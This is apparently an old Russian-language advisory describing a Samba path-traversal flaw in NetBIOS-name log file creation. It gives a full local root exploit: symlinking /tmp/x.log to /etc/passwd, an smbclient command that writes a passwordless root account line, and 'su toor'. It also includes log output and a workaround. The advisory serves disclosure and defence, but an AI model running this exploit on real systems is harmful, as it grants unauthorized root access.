Описание: |
Недостаточная проверка правильности параметра и опасная конфигурация,
используемая по умолчанию, делают многочисленные системы, использующие Samba
совместно с file sharing, уязвимыми для удаленных атак. Из-за недостаточной
проверки правильности NetBIOS имени компьютера в входящих SMB запросах, вместе с
заданной по умолчанию конфигурацией, самба daemon позволяет отдаленным
нападавшим создавать SMB журналы сеанса (*.log), с содержанием указывающим на
директории более высокого уровня. На уязвимой платформе, по умолчанию, каждая
SMB сессия создает лог файл:
/var/log/samba/<netbios-name>.log. Если атакующий заходит с компьютера 'FOOBAR',
логи будут записываться в /var/log/foobar.log. Теперь, если netbios имя
атакующего будет ../../../evil, то система также создаст /evil.log файл. Эту
уязвимость возможно использовать при условии, если следующие установки
присутствуют в файле smb.conf :
log file = /var/log/samba/%m.log
которая является по умолчанию в большинстве LINUX платформ. Но на некоторых
системах конфигурация может быть такой:
log file = /usr/local/samba/var/log.%m
В этом случае (например FreeBSD), нельзя использовать эту уязвимость.
Exploit:
Это пример сценария локальной атаки для получения повышенных привилегий:
ln -s /etc/passwd /tmp/x.log
$ smbclient //NIMUE/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \
-n ../../../tmp/x -N
Где NIMUE – соответствует имени локального хоста ( при этом могут быть
возвращены несколько ошибок).
$ su toor
#
Использовать эту атаку довольно просто: - Samba daemon пробует обращаться к Лог
файлам для хоста, представляющегося себя как ' ../../../tmp/x '. Это транслирует
open() на /var/log/samba/../../../tmp/x.log. Таким образом,/tmp/x.log открыт в
режиме O_APPEND, после предварительно созданного символьного линка на
/etc/passwd. Тогда, анонимная попытка устанавливать несуществующий share named
\ntoor:: 0:0::/:/bin/sh\n " зарегистрированный в/tmp/x.log или, если Вы
предпочитаете, в/etc/passwd.
Сообщение об ошибках смотрит этот путь:
[2001/06/22 14:53:03, 1] smbd/reply.c:reply_sesssetup_and_X (925)
Rejecting user 'lcamtuf': authentication failed
[2001/06/22 14:53:03, 0] smbd/service.c:make_connection(214)
../../../tmp/x (192.233.133.108) couldn't find service
toor::0:0::/:/bin/sh
последняя строка, очевидно, разрешает /bin/su или /bin/login.
В качестве временного решения следует изменить формат Лог файлов и дождаться
официального патча:
http://us1.samba.org/samba/whatsnew/macroexploit.html
|